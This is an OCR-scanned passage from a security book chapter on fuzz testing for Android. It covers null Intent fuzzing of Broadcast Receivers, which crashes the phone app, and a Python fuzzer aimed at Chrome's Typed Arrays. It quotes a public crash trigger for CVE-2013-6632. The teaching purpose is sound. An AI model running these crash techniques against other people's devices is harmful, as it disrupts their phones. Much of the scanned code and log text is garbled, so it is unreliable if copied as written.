approach. Combining these two approaches has the potential to generate inputs 
that would not be generated with either of the approaches alone. Parsing an 
input into data structures and then mutating it at different logical layers can be 
a powerful technique. A good example of this is replacing one or several HTML 
nodes in a DOM tree with a generated subtree. A hybrid approach using pars- 
ers enables limiting fuzzing to hand-selected fields or areas within the input. 

Regardless of the type of fuzzing, researchers use a variety of techniques 
to increase effectiveness when generating inputs. One trick prioritizes integer 
values known to cause issues, such as large powers of two. Another technique 
involves focusing mutation efforts on input data that is likely to cause issues and 
avoiding those that aren’t. Modifying message integrity data or expected magic 
values in an input achieves shallow code coverage. Also, context-dependent 
length values may need to be adjusted to pass sanity checks within the target 
software. A failure to account for these types of pitfalls means wasted tests, 
which in turn means wasted resources. These are all things a fuzzer developer 
must consider when generating inputs to find security bugs. 


Processing Inputs 


After crafting malformed inputs, the next task is to process your inputs with the 
target software. After all, not processing inputs means not exercising the target 
code, and that means not finding bugs. Processing inputs is the foundation for 
the largest advantage of fuzzing: automation. The goal is simply to automatically 
and repeatedly deliver crafted inputs to the target software. 

Actual delivery methods vary depending on the attack vector being targeted. 
Fuzzing a socket-based service requires sending packets, potentially requiring 
session setup and teardown. Fuzzing a file format requires writing out the 
crafted input file and opening it. Looking for client-side vulnerabilities may even 
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require automating complex user interactions, such as opening an e-mail. These 
are just a few examples. Almost any communication that relies on a network 
has the potential to expose vulnerability. Many more attack patterns exist, each 
with their own input processing considerations. 

Similar to generating inputs, several techniques exist for increasing efficiency 
when processing inputs. Some fuzzers fully simulate an attack by delivering 
each input just as an attacker would. Others process inputs at lower levels in the 
call stack, which affords a significant performance increase. Some fuzzers aim 
to avoid writing to slow persistent storage, instead opting to remain memory 
resident only. These techniques can greatly increase test rates, but they do come 
at a price. Fuzzing at lower levels adds assumptions and may yield false positives 
that aren’t reproducible when delivered in an attack simulation. Unfortunately, 
these types of findings are not security issues and can be frustrating to deal with. 


Monitoring Results 


The fourth task in conducting effective fuzz testing is monitoring test results. 
Without keeping an eye out for undesirable behavior, it is impossible to know 
whether you have discovered a security issue. A single test could elicit a variety 
of possible outcomes. A few such outcomes include successful processing, hangs, 
program or system crashes, or even permanent damage to the test system. Not 
anticipating and properly handling bad behavior can cause your fuzzer to stop 
running, thereby taking away from the ability to run it without you present. 
Finally, recording and reporting statistics enables you to quickly determine 
how well your fuzzer is doing. 

Like input crafting and processing, many different monitoring options are 
available. A quick-and-dirty option is just to monitor system log files for unex- 
pected events. Services often stop responding or close the connection when they 
crash during fuzzing. Watching for such events is another way of monitoring 
testing. You can employ a debugger to obtain granular information—such as 
register values—when crashes occur. It’s also possible to utilize instrumentation 
tools, such as val gr i nd, to watch for specific bad behaviors. API hooking is also 
useful, especially when fuzzing for non-memory-corruption vulnerabilities. 
If all else fails, you could create custom hardware and software to overcome 
almost any monitoring challenge. 


Fuzzing on Android 


Fuzz testing on Android devices is much like fuzzing on other Linux systems. 
Familiar UNIX facilities—including pt race, pipes, signals, and other POSIX 
standard concepts—prove themselves useful. Because the operating system 
handles process isolation, there is relatively little risk that fuzzing a particular 
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program will have adverse effects on the system as a whole. These facilities also 
offer opportunities to create advanced fuzzers with integrated debuggers and 
more. Still, Android devices do present some challenges. 

Fuzzing, and software testing in general, is a complex subject. There are 
many moving pieces, which means there are many opportunities for things 
to go awry. On Android, the level of complexity is heightened by facilities not 
present on regular Linux systems. Hardware and software watchdogs may 
reboot the device. Also, Android's application of the principle of least privilege 
leads to various programs depending on each other. Fuzzing a program that 
other programs depend on can cause multiple processes to crash. Further still, 
dependencies on functionality implemented in the underlying hardware, such 
as video decoding, can cause the system to lock-up or programs to malfunction. 
When these situations arise, they often cause fuzzing to halt. These problems 
must be accounted for when developing a robust fuzzer. 

Beyond the various continuity complications that arise, Android devices 
present another challenge: performance. Most devices that run Android are 
significantly slower than traditional x86 machines. The emulator provided in 
the Android Software Development Kit (SDK) usually runs slower than physical 
devices, even when running on a host using top-of-the-line hardware. Although 
a sufficiently robust and automated fuzzer runs well unattended, decreased 
performance limits efficiency. 

Apart from raw computational performance, communications speeds also 
cause issues. The only channels available on most Android devices are USB and 
Wi-Fi. Some devices do have accessible serial ports, but they are even slower. 
None of these mechanisms perform particularly well when transferring files 
or issuing commands regularly. Further, Wi-Fi can be downright painful to use 
when an ARM device is in a reduced power mode, such as when its screen is off. 
Due to these issues, it is beneficial to minimize the amount of data transferred 
back and forth from the device. 

Despite these performance issues, fuzzing on a live Android device is still 
better than fuzzing on the emulator. As mentioned previously, physical devices 
often run a build of Android that has been customized by the original equipment 
manufacturer (OEM). If the code being targeted by a fuzzer has been changed 
by the manufacturer, the output of a fuzzer could be different. Even without 
changes, physical devices have code that is simply not present on an emulator 
image, such as drivers for peripherals, proprietary software, and so on. While 
fuzzing results may be limited to a particular device or device family, it is simply 
insufficient to fuzz on the emulator. 
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Fuzzing Broadcast Receivers 


As discussed in Chapter 4, Broadcast Receivers and other interprocess commu- 
nication (IPC) endpoints are valid input points in applications, and their security 
and robustness is often overlooked. This is true for both third-party applications 
and official Android components. This section introduces a very rudimentary, 
very dumb fuzzing of Broadcast Receivers: null Intent fuzzing. This technique 
materialized by way of iSEC Partners’ | nt ent Fuzzer application, released circa 
2010. Though not popularized or highlighted too much beyond the initial release 
of that application, this approach can help to quickly identify juicy targets and 
guide additional, more focused, and more intelligent fuzzing efforts. 


Identifying a Target 


First, you need to identify which Broadcast Receivers are registered, which you 
can do either for a single target application or system wide. You can identify a 
single target application programmatically by using the PackageManager class 
to query for installed apps and their respective exported receivers, as demon- 
strated by this slightly modified snippet from | nt ent Fuzzer: 


protected ArrayList<ComponentName> getExportedComponents() { 
ArrayList<ComponentName> found = new ArrayList <Component Name>( ) 
PackageManager pm = getPackageManager(); 
for (Packagelnfo pi : pm 

.getinstalledPackages(PackageManager. GET DISABLED COMPONENTS 

| PackageManager.GET_RECEI VERS) { 


Packageltem nfo items[] = null; 
if (items != null) 
for(Packagelteminfo pii : items 


found. add( new ComponentName(pi.packageName, pii.name) ) 
return found; 


} 


The get PackageManager method returns a PackageManager object, pm. Next, 
getinstalledPackages is called, filtering only for enabled Broadcast Receivers, 
and the package name and component name are stored in the f ound array. 

Alternatively, you can use Drozer to enumerate Broadcast Receivers on a 
target device, or for a specific application, much as was shown in Chapter 4. 
The following excerpt lists broadcast receivers system wide and for the single 
application com. yougetitback. androidapplication. virgin. mobile. 
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dz> run app. bro 
Package: androl 
Receiver: con 
Permission: 
Receiver: con 
Permission: 


Package: com. am 
Receiver: com 
Permission: 


Receiver: com. 


Permission: 


Receiver: com. 


Permission: 


Receiver: com. 


Permission: 


dz> run app. bro 
com. yougetitbac 
Package: com yo 


Receiver: com. 


Permission: 


Receiver: com. 


Permission: 


Receiver: com. 


Permission: 


Receiver: com. 


Permission: 


Receiver: com. 


adcast.info 

d 

„android. server. Boot Receiver 
nul 

„android. server. MasterCl ear Recei ver 
android. permission. MASTER CLEAR 


azon. kindle 

„amazon. kcp. redding. MarketReferral Tracker 
nu 
amazon. kcp. recommendation. Campai gnWebVi ew 
nu 
amazon. kindle. Standal oneAccountAddTracker 
nu 
amazon. kcp.reader.ui.StandaloneDefinitionContainerModule 
nu 


adcast.info -a \ 

k.androidapplication. virgin. mobile 
ugetitback.androidapplication. virgin. mobile 

yougetitback. androidapplication.settings. main. Entranc... 
android. permission. BIND_DEVICE_ADMIN 

yougetitback. androidapplication. MyStartupl ntent Receiver 
nul 
yougetitback. androidapplication.SmsI ntent Receiver 
nul 
yougetitback. androidapplication.IdleTi meout 
nul 
yougetitback. androidapplication. PingTi meout 


Generating Inputs 


Understanding what a given input, like an Intent receiver, expects or can con- 
sume typically requires having a base test case or analyzing the receiver itself. 
Chapter 4 includes some step-by-step analysis of a target app, along with a 
particular Broadcast Receiver therein. However, given the nature of IPC on 
Android, you can hit the ground running without investing a great deal of time. 
You do this by simply constructing explicit Intent objects with absolutely no 
other properties (extras, flags, URIs, etc.). Consider the following code snippet, 
also based on | nt ent Fuzzer: 


protect 
int cou 
for (in 
Int 
in. 


ed int fuzzBR(List<ComponentName> comps) { 
nt = 0; 

t i = 0; i < comps.size(); i++) { 

ent in = new Intent(); 


setComponent(comps. get(i)); 
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In the preceding code snippet, the f uzzBR method receives and iterates through 
the list of app component names. On each iteration, an Intent object is created 
and set Component is called, which sets the explicit destination component of 
the Intent. 


Delivering Inputs 


Delivery of Intents can be achieved programmatically by simply calling the 
sendBroadcast function with the Intent object. The following code excerpt 
implements the algorithm, expanding upon the previously listed snippet. 


protected int fuzzBR(List<ComponentName> comps) { 

int count = 0; 

for (int i = 0; i < comps.size(); i++) { 
Intent in = new Intent(); 
in, setComponent(comps.get(i)); 
sendBroadcast(in); 
count ++; 

} 


return count; 


} 


Alternatively, you can use the am broadcast command to achieve the same 
effect. An example of using this command is shown here: 


$ am broadcast -n com yougetitback.androidapplication. virgin. mobil e/co\ 
m. yougetitback. androidapplication. Smsintent Receiver 


You execute the command, passing the target application and component, in 
this case the Broadcast Receiver, as the parameter to the - n option. This effec- 
tively creates and delivers an empty Intent. Using this technique is preferred 
when performing quick manual testing. It can also be used to develop a fuzzer 
using only shell commands. 


Monitoring Testing 


Android also provides quite a few facilities for monitoring your fuzzing run. 
You can employ | ogcat as the source for indicators of a crash. These faults will 
most likely manifest in the form of an unhandled exception Java-style, such as 
aNull PointerExcepti on. For instance, in the following excerpt, you can see 
that the Sms! nt ent Recei ver Broadcast Receiver appears to do no validation of 
the incoming Intent object or its properties. It also doesn’t handle exceptions 
particularly well. 

E/AndroidRuntime{ 568): FATAL EXCEPTION: main 

E/AndroidRuntime( 568): java.lang.RuntimeException: Unable to start 


receiver com. yougetitback. androidapplication. Sms| ntent Receiver: 
java. lang. Null PointerException 
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E/ Andro 
android 
E/ Andro 
android 
E/ Andro 
android 
E/ Andro 
android. 
E/ Andro 
android 
E/ Andro 
d 
0 
a 
0 
a 


andr oi 
E/ Andr 
java. 
E/ Andr 
java. 
E/ Andro 
com. and 
java: 786) 
E/ Android 
com. andro 
E/ Android 


dalvik.sy 
E/ Android 
E/ Android 
com. youge 
(Smsinten 
E/ Android 
android.a 
E/ Android 


Runti me 568): at 
pp. ActivityThread. handl eReceiver(ActivityThread. j ava: 2236) 
Runti me 568): at 
pp. ActivityThread. access$1500(ActivityThread. java: 130) 
Runti me 568): at 
pp. ActivityThread$H. handl eMessage(ActivityThread. java: 1271) 
Runti me 568): at 
s. Handler. dispatchMessage( Handler. java: 99) 
Runti me 568): at 
s. Looper. !oop(Looper.j ava: 137) 
Runti me 568): at 
pp. ActivityThread. main(ActivityThread. j ava: 4745) 
Runti me 568): at 
reflect. Method.invokeNative(Native Method) 
Runti me 568): at 
reflect. Method.invoke( Method. java: 511) 
Runti me 568): at 
d.internal.os.Zygotelnit$MethodAndArgsCaller.run(Zygotel nit. 
Runti me 568): at 
id.internal.os.Zygotel nit. main(Zygotelnit.j ava: 553) 
Runti me 568): at 
stem. NativeStart.main(Native Method 
Runti me 568): Caused by: java.lang. Null PointerException 
Runti me 568): at 
titback.androidapplication. SmsintentReceiver. onReceive 
tReceiver.java:1150 
Runti me 568): at 
pp. ActivityThread. handl eReceiver(ActivityThread.j ava: 2229) 
Runti me 568): 10 more 
Even OEM- and Google-provided components can fall prey to this approach, 
interesting results. On a Nexus S, we applied our approach to the 


often with 


PhoneApp$NotificationBroadcast Recei ver receiver, which is a component of 
the com. android. phone package. The output from | ogcat at the time is presented 
in the following code: 


D/ PhoneApp( 


5605): 


Broadcast from Notification: 


nul 


E/AndroidRuntime( 5605): java.lang.RuntimeException: Unable to start 
receiver com. android. phone. PhoneApp$NotificationBroadcast Receiver 
java. lang. Null PointerException 


E/ AndroidRunti me( 


5605): at 


android. app. ActivityThread. handl eReceiver(ActivityThread. j ava: 2236) 


WActivityManager( 249): Process com android. phone has crashed too many 


times: 


killing! 
|/ Process ( 
|/ServiceManager ( 
|/ServiceManager ( 
|/ServiceManager ( 


5605): 


Sending signal 


PID: 5605 SIG: 9 


81): service 'simphonebook' died 
81): service 'iphonesubinfo' died 
81): service 'isms' died 
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|/ServiceManager ( 81): service 'sip' died 

|/ServiceManager ( 81): service 'phone' died 

|/ActivityManager( 249): Process com android. phone (pid 5605) has died 
WeActivityManager( 249): Scheduling restart of crashed service 

com. android. phone/.TelephonyDebugService in 1250ms 

WeActivityManager( 249): Scheduling restart of crashed service 

com. android. phone/.BluetoothHeadsetService in 11249ms 

V/PhoneStatusBar( 327): setLightsOn(true) 

|/ActivityManager( 249): Start proc com android. phone for restart 

com. android. phone: pid=5638 uid=1001 gids={3002, 3001, 3003, 1015, 1028} 


Here you see the receiver raising a Nul | Poi nterExcepti on. In this case, how- 
ever, when the main thread dies, the Act i vit yManager sends the S! GKI LL signal 
tocom. android. phone. The result is the death of services likesip,phone,isms, 
associated Content Providers that handle things like SMS messages, and more. 
Accompanying this, the familiar Force Close modal dialog appears on the device 
as shown in Figure 6-1. 


Unfortunately, the process com 
android.phone has stopped. 


Report OK 


Figure 6-1: Force Close dialog from com.android.phone 


Though not particularly glamorous, a quick null Intent fuzzing run effectively 
discovered a fairly simple way to crash the phone application. At first glance, this 
seems to be nothing more than a casual annoyance to the user—but it doesn’t 
end there. Shortly after, ri | d receives a SI GFPE signal. This typically indicates 
an erroneous arithmetic operation, often a divide-by-zero. This actually results 
in a crash dump, which is written to the log and to a tombstone file. The follow- 
ing code shows some relevant details from the crash log. 

KEK KKK KKK KEK KKK KKK KKK KKK KKK KKK KEK KKK KEK KEK KEK KEK 

Build fingerprint: 

‘google/soju/crespo: 4.1. 2/) Z054K/ 485486: user/release- keys 

pid: 5470, tid: 5476, name: rild >>> /system/bin/rild <<< 

signal 8 (SIGFPE), code -6 (?), fault addr 0000155e 

rO 00000000 r1 00000008 r2 00000001 r3 0000000a 
r4 402714d4 r5 420973f8 r6 0002e1c6 r7 00000025 
r8 00000000 r9 00000000 sli 00000002 fp 00000000 
ip fffd405c sp 40773cb0 Ir 40108ac0 pc 40106cc8 cpsr 20000010 


backtrace: 
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#00 pc 0000dcc8 J/systemlib/libc.so (kill +12) 
#01 pc 0000fabc J/systemlib/libc.so (__aeabi_Idiv0+8) 
#02 pc 0000fabc J/system/lib/libc.so (__aeabi_Idiv0+8) 


By looking at the back trace from this crash report, you can see the fault had 
something to do with the | di v0 function in| i bc. so, which apparently calls 
the ki || function. The relationship between ri |d and thecom. android. phone 
application may be apparent to those more familiar with Android—and is dis- 
cussed in greater detail in Chapter 11. Our simple fuzzing run reveals that this 
particular Broadcast Receiver has some effect on an otherwise fundamentally 
core component of Android. Although null Intent fuzzing may not lead to the 
discovery of many exploitable bugs, it’s a good go-to for finding endpoints with 
weak input validation. Such endpoints are great targets for further exploration. 


Fuzzing Chrome for Android 


The Android Browser is an attractive fuzz target for many reasons. First, it is a 
standard component that is present on all Android devices. Also, the Android 
browser is composed of Java, JNI, C++, and C. Because web browsers focus heav- 
ily on performance, a majority of the code is implemented in native languages. 
Perhaps due to its complexity, many vulnerabilities have been found in browser 
engines. This is especially true for the WebKit engine that the Android browser 
is built on. It’s easy to get started fuzzing the browser since very few external 
dependencies exist; only a working Android Debug Bridge (ADB) environ- 
ment is needed to get started. Android makes it easy to automate processing 
inputs. Most important, as discussed in Chapter 5, the web browser exposes an 
absolutely astonishing amount of attack surface through all of the technologies 
that it supports. 

This section presents a rudimentary fuzzer called Br ows er Fuzz. This fuzzer 
targets the main rendering engine within the Chrome for Android browser, 
which is one of the underlying dependency libraries. As is typical with any 
fuzzing, the goal is to exercise Chrome’s code with many malformed inputs. 
Next this section explains how we selected which technology to fuzz, generated 
inputs, delivered them for processing, and monitored the system for crashes. 
Code excerpts from the fuzzer support the discussion. The complete code is 
included with the materials on the book’s website. 


Selecting a Technology to Target 


With a target as large and complex as a web browser, it’s challenging to decide 
exactly what to fuzz. The huge number of supported technologies makes it 
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infeasible to develop a fuzzer that exercises all of the functionality. Even if you 
developed such a fuzzer, it would be unlikely to obtain an acceptable level of 
code coverage. Instead, it’s best to focus fuzzing efforts on a smaller area of 
code. Exempli gratia, concentrate on fuzzing SVG or XSLT alone, or perhaps 
focus on the interaction between two technologies like JavaScript and HTML. 

Choosing exactly where to focus fuzzing efforts is one of the most important 
parts of any browser fuzzing project. A good target is one that seemingly contains 
the most features and is less likely to have already been audited by others. For 
example, closed-source components can be difficult to audit and making them 
an easy target for fuzzing. Another thing to consider when choosing a browser 
technology is the amount of documentation. Less-documented functionality 
has the probability of being poorly implemented; giving you a better chance 
of causing a crash. 

Before selecting a technology, gather as much information as possible about 
what technologies are supported. Browser compatibility sites like ht t p: / / 
mobilehtml5.org/ andhttp://caniuse. com contain a wealth of knowledge 
about what technologies are supported by various browsers. Finally, the ulti- 
mate resource is the source code itself. If the source code is not available for the 
target technology, reverse engineering binaries enhances fuzzer development. 
It’s also worthwhile to research the technology in depth or review past bugs or 
vulnerabilities discovered in the target code or similar code. In short, gathering 
more information leads to more informed decisions. 

For simplicity’s sake, we decided to focus on HTML version 5. This specifica- 
tion represents the fifth incarnation of the core language of web browser tech- 
nology. At the time of this writing, it is still fairly young and has yet to become 
a W3C recommendation. That said, HTML5 has become the richest and most 
encompassing version of HTML to date. It includes direct support for tags like 
<vi deo> and <audi o>. Further, it supports <canvas >, whichis a scriptable graph- 
ics context that allows drawing and rendering graphics programmatically. The 
richness of HTML5 comes from its heavy reliance on scripting, which makes 
extremely dynamic content possible. 

This text focuses on an HTML version 5 feature that was added relatively 
recently within the Chrome for Android browser: Typed Arrays. This feature 
allows a web developer access to a region of memory that is formatted as a 
native array. Consider the following code excerpt: 

var arr = new Uint 8Array(16); 

for (var n = 0; n < arr.length; n++) { 

arr[n] = n; 


} 


This code creates an array of sixteen elements and initializes it to contain 
the numbers 0 through 15. Behind the scenes, the browser stores this data the 


189 


190 


Chapter 6 = Finding Vulnerabilities with Fuzz Testing 


same way a native array of unsigned characters would be stored. The following 
excerpt shows the native representation: 


00 01 02 03 04 05 06 07 08 09 Oa Ob Oc Od Oe Of 


As shown in the preceding code, the data is packed very tightly together. This 
fact makes it very efficient and convenient for passing to underlying code that 
operates on arrays in native representation. A great example is image libraries. 
By not having to translate data back and forth between JavaScript and native 
representations, the browser (and consequently the web application) can achieve 
greater performance through improved efficiency. 

At the 2013 Mobile Pwn2Own competition, the researcher known as Pinkie 
Pie demonstrated a successful compromise of the Chrome for Android browser 
running on fully updated Nexus 4 with Android 4.3. Shortly thereafter, fixes for 
the issues exploited by Pinkie Pie were committed to the affected open source 
repositories. When taking a closer look, Jon Butler of MWR Labs spotted a 
change in the Typed Arrays code implemented in the V8 JavaScript engine used 
by Chrome. After realizing the issue, he tweeted a minimal proof-of-concept 
trigger for the vulnerability, as shown in Figure 6-2. 


es Jon Butler W Follow 


Trigger for the bug (fixed): x = new 
Float64Array({length: 0x24924925}) 


A~ Reply TH Retweet Wr Favorite °ee More 


Tes wor W MMO 


Figure 6-2: Minimal trigger for CVE-2013-6632 


Upon seeing this proof-of-concept, we were inspired to develop a fuzzer that 
further exercised the Typed Arrays code within Chrome for Android. If such 
an egregious mistake was present, there may be further issues lurking within. 
With a target selected, we were ready to develop the code needed to get started 
fuzz testing this functionality. 


Generating Inputs 


The next step in the process of creating this fuzzer is to develop code to pro- 
grammatically generate test cases. Unlike mutation-based dumb fuzzing, we 
instead use a generative approach. Starting from the minimal proof-of-concept 
published by Jon Butler, we aim to develop a rudimentary page generator. Each 
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page contains some boilerplate code that executes a JavaScript function after it 
is loaded. Then, we randomly generate some JavaScript that exercises the Typed 
Array functionality within the JavaScript function itself. Thus, the core of our 
generative algorithm focuses on the body of the JavaScript function. 

First, we break the minimal trigger down into the creation of two separate 
arrays. In the proof-of-concept, the first array is a traditional JavaScript array 
that is reserved for a particular size. By default, it gets filled with zero values. 
The creation of this array is nested inside the minimal trigger, but can instead 
be done separately. Using this form, the minimal trigger becomes 


var arrl = new Array(0x24924925); 
var arr2 = new Float64Array(arrl); 


We use this notation in our fuzzer, as it allows us to try other Typed Array 
types in place of the traditional JavaScript Array type. 
To generate the code that creates the first array, we used the following code: 


45 page += 
}\ n" 


try { " + generate var() +" } catch(e) { console.|og(e) 


Here, we use the generate_var function to create the declaration of the first 
array. We wrap the creation of the array in a try-catch block and print any error 
that occurs to the browser's console. This helps quickly discover potential issues in 
what we are generating. The following is the code for the generat e_var function: 


64 def generate var(): 


65 vtype = random. choice(TYPEDARRAY TYPES) 
66 vlen = rand_num() 
67 return "var arrl = new %S5(%d);" % (vtype, vlen) 


First we randomly choose a Typed Array type from our static array of sup- 
ported types. Following that, we choose a random length for the array using 
the rand_num function. Finally, we use the type and random length to create 
the declaration of our first array. 

Next, we turn our attention to generating the second array. This array is 
created from the first array and uses its size. The vulnerability hinges on the 
first array being within a particular range of sizes for two reasons. First and 
foremost, it leads to an integer overflow occurring when calculating the size 
of the memory region to be allocated for the second array. Second, it needs to 
pass some validation that was meant to prevent the code from proceeding in 
the case that an integer overflow had occurred. Unfortunately, the check was 
incorrectly performed in this case. Here is an excerpt with the code that gener- 
ates the second array: 


49 page t= " try { " + generate_assignment() + 
" }catch(e){ console.log(e); }\n" 
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Similar to how we generate the creation of the first array, we wrap the creation 
in a try-catch block. Instead of using the gener ate_var function, we use the 
generate assignment function. The code for this function follows: 

69 def generate _assignment() 


70 vtype = random. choice(TYPEDARRAY TYPES) 
71 return "var arr2 = new %S(arrl);" % (vtype) 


This function is a bit simpler because we don’t need to generate a random 
length. We simply choose a random Typed Array type and generate the JavaScript 
to declare the second array based on the first. 

In this fuzzer, ther and_ num function is crucial. In the minimal trigger, a rather 
large number is used. In an attempt to generate values similar to that value, we 
devised the algorithm shown here: 


def rand num) 
divisor = randomrandrange(0x8) + 1 
dividend = (0x100000000 / divisor 
if random randrange(3) == 
addend = random. randrange(10) 
addend -= 5 
dividend += addend 
return dividend 


First we select a random divisor between 1 and 8. We don’t use zero as divid- 
ing by 0 would crash our fuzzer. Further, we don’t use any numbers greater 
than 8, because 8 is the largest size for an element in any of the Typed Array 
types (Fl oat 64Arr ay). Next, we divide 2” by our randomly selected divisor. This 
yields a number that is likely to trigger an integer overflow when multiplied. 
Finally, we add a number between -5 and 4 to the result with a one-in-three 
probability. This helps discover corner cases where an integer overflow occurs 
but doesn’t cause ill behavior. 

Finally, we compile a list of the Typed Array types from the specification. A 
link to the specification is provided in Appendix C included in this book. We 
put the types into the global Python array called TYPEDARRAY_TYPES that is used 
by the generate_var andgenerate_assignment functions. When combined 
with the boilerplate code that executes our generated JavaScript function, we 
are able to generate functional inputs in the form of HTML5 pages that exercise 
Typed Arrays. Our input generation task is complete, and we are ready to get 
our Android devices processing them. 


Processing Inputs 


Now that the browser fuzzer is generating interesting inputs, the next step is to 
get the browser processing them. Although this task is often the least sexy to 
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implement, without it you cannot achieve the automation that makes fuzz testing 
so great. Browsers primarily take input based on Universal Resource Locators 
(URLs). Diving deep into all of the complexities involved in URL construction 
and parsing is out of the scope of this chapter. What’s most important is that the 
URL tells the browser what mechanism to use to obtain the input. Depending 
on which mechanism is used, the input must be delivered accordingly. 

Browser Fuzz provides inputs to the browser using HTTP. It’s likely that other 
means, such as uploading the input and using afi! e:// URL, would work but 
they were not investigated. To deliver inputs via HTTP, the fuzzer implements 
a rudimentary HTTP server based on the Twisted Python framework. The 
relevant code is shown here: 


13 from twisted. web import server, resource 
14 fromtwisted.internet import reactor 


83 class FuzzServer(resource. Resource) 


84 isLeaf = True 

85 page = None 

86 def render _GET(self, request): 

87 path = request. postpath[0] 

88 if path == "favicon.ico": 

89 request.setResponseCode( 404) 

90 return "Not found" 

91 Self.page = generate page( 

92 return self. page 

93 

94 if __name__ == "__main__" 

95 # Start the HTTP server 

96 server thread = FuzzServer() 

97 reactor. listenTCP(LISTEN PORT, server.Site(server_ thread) ) 
98 threading. Thread(target=reactor.run, args=(False,)).start() 


As stated previously, this HTTP server is quite rudimentary. It only responds 
to GET requests and has very little logic for what to return. Unless the f avi con 
„i co file is requested, the server always returns a generated page, which it saves 
for later. In the icon case, a 404 error is returned to tell the browser that no such 
file is available. In the main portion of the fuzzer, the HTTP server is started 
in its own background thread. Thanks to Twisted, nothing further needs to be 
done to serve the generated inputs. 

With an HTTP server up and running, the fuzzer still needs to do one more 
thing to get inputs processed automatically. It needs to instruct the browser to 
load pages from the corresponding URL. Automating this process on Android 
is very easy, thanks to ActivityManager. By simply sending an Intent using the 
am command-line program, you can simultaneously start the browser and tell 
it where to load content from. The following excerpt from the execute_test 
function inside Browser Fuzz does this. 
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57 tmpuri = "fuzzyou?id=%d" % (time.time()) 

58 output = subprocess. Popen([ ‘adb', ‘shell', ‘am’, ‘start’ 

59 '-a', ‘android.intent. action. VIEW 

60 '-d', ‘http: //%s: %d/ %S5' % (LISTEN HOST, LISTEN_ PORT 
tmpuri), 

61 '-e', ‘com android. browser. application_id', '‘wooo', 

62 "com. android. chrome’ 

63 ], stdout=subprocess. PIPE 


stderr=subprocess. STDOUT). communi cate()[ 0] 


Line 57 generates a time-based query string to request. The time is used 
to ensure that the browser will request a fresh copy of the content each time 
instead of reusing one from its cache. Lines 58 through 63 actually execute the 
am command on the device using ADB. 

The full command line that Br ows er Fuzz uses is fairly lengthy and involved. 
It uses the st art subcommand, which starts an Acti vi t y . Several Intent options 
follow the subcommand. First, the Intent action (android. intent. action. VIEW) 
is specified with the - a switch. This particular action lets the Acti vit yManager 
decide how to handle the request, which in turn decides based on the data 
specified with the - d switch. Br ows er Fuzz uses an HTTP URL that points back 
to the server that it started, which causes Acti vit yManager to launch the default 
browser. Next, the - e switch provides extra data to Chrome that sets com. andr oi d 
„browser. application_id to “wooo”. This has the effect of opening the request 
in the same browser tab instead of creating a new tab for each execution. This 
is particularly important because creating tons of new tabs wastes memory and 
makes restarting a crashed browser more time consuming. Further, reopening 
previous test cases on restart is unlikely to help find a bug because such inputs 
were already processed once. The final part of the command specifies the package 
that should be started. Though this fuzzer uses com. android. chrome, target- 
ing other browsers is also possible. For example, the old Android Browser on 
a Galaxy Nexus can be launched by using the com. google. android. browser 
package name instead. 

Because Browser Fuzz aims to test many inputs automatically, the final piece 
of the input processing puzzle is a trivial loop that repeatedly executes tests. 
Here is the code: 


45 def run(self): 
46 while self.keep going 
47 self.execute test() 


As long as the flag keep_going istrue,BrowserFuzz will continually execute 
tests. With tests executing, the next step is to monitor the target application for 
ill behavior. 


Monitoring Testing 


As discussed earlier in this chapter, monitoring the behavior of the target pro- 
gram is essential to knowing whether you've discovered something noteworthy. 
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Though a variety of techniques for monitoring exist, Br owser Fuzz uses a sim- 
plistic approach. 

Recall from Chapter 2 that Android contains a system logging mechanism 
that is accessible using the | 0gcat command. This program exists on all Android 
devices and is exposed directly via ADB. Also recall that Android contains a 
special system process called debugger d. When a process on Android crashes, 
debuggerd writes information about the crash to the system log. Browser Fuzz 
relies on these two facilities to achieve its monitoring. 

Prior to starting Chrome, the fuzzer clears the system log to remove any 
irrelevant entries. The following line does this: 


54 subprocess. Popen([ 'adb', 'logcat', '-c' ]).wait() # clear log 


As before, we use the subprocess. Popen Python function to execute the adb 
command. This time we use the logcat command, passing the -c argument to 
clear the log. 

Next, after pointing the browser at its HTTP server, the fuzzer gives the 
browser some time to process the crafted input. To do this, it uses Python’s 
time. sleep function: 


65 time.sleep(60) # give the device time hopefully crash) 


We pass a number of seconds that gives Chrome enough time to process our 
crafted input. The number here is quite large, but this is intentional. Processing 
large TypedArrays can take a decent amount of time, especially when running 
on a relatively low-powered device. 

The next step is to examine the system log to see what happened. Again, we 
use the adb |o0gcat command as shown here: 

68 log = subprocess. Popen([{ 'adb', ‘logcat', '-d' ], # dump 
69 stdout =subprocess. PIPE 
stderr=subprocess. STDOUT). communi cate()[ 0] 


This time we pass the - d argument to tell! ogcat to dump the contents of the 
system log. We capture the output of the command into the log variable. To do 
this, we use the stdout and stderr options of subprocess. Popen combined with 
the communi cate method of the returned object. 

Finally, we examine the log contents in our fuzzer using the following code. 


72 if log.find('SIGSEGV') != -1: 

13 crashfn = os. path.join('crashes', tmpuri) 

74 print " Crash!! Saving page/log to %S" % crashfn 
15 with open(crashfn, "wb") as f: 

76 .write(self.server. page) 

77 with open(crashfn + '.log', "“wb") as f: 

78 _write(log) 


The most interesting crashes, from a memory corruption point of view, are 
segmentation violations. When these appear in the system logs, they contain the 
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string SI GSEGV. If we don’t find the string in the system log output, we discard 
the generated input and try again. If we do find the string, we can be relatively 
certain that a crash occurred due to our fuzz testing. 

After a crash is observed, we store the system log information and gener- 
ated input file locally for later analysis. Having this information on the local 
machine allows us to quickly examine crashes in another window while letting 
the fuzzer continue to run. 

To prove the effectiveness of this fuzzer, the authors ran the fuzzer for sev- 
eral days. The specific test equipment was a 2012 Nexus 7 running Android 
4.4. The version of the Chrome for Android app available at the time of Mobile 
Pwn2Own 2013 was used. This version was obtained by uninstalling updates 
to the app within Settings > Apps and disabling updates within Google Play. 
The following shows the specific version information: 


W google-breakpad(12273): Chrome build fingerprint: 

W google-breakpad( 12273): 30.0.1599.105 

W googl e- breakpad( 12273): 1599105 

W google-breakpad(12273): cal917fb-f257-4e63-b7a0-c3clbc24flda 


While testing, monitoring the system log in another window provided addi- 
tional insight into the progress of the fuzzer. Specifically, it revealed that a few 
of the TypedArray types are not supported by Chrome, as evidenced by the 
following output. 


|/chromium( 1690): [INFO: CONSOLE(10)] "ReferenceError: ArrayBufferVi ew 

is not defined", source: http://10.0.10.10:31337/fuzzyou?i d=1384731354 (10) 
[was] 

|/chromium( 1690): [I NFO: CONSOLE(10)] "ReferenceError: StringView is not 
defined", source: http://10.0.10.10:31337/fuzzyou?i d=1384731406 (10) 


Commenting out those types improves the effectiveness of the fuzzer. Without 
monitoring the system log, this would go unnoticed and test cycles would be 
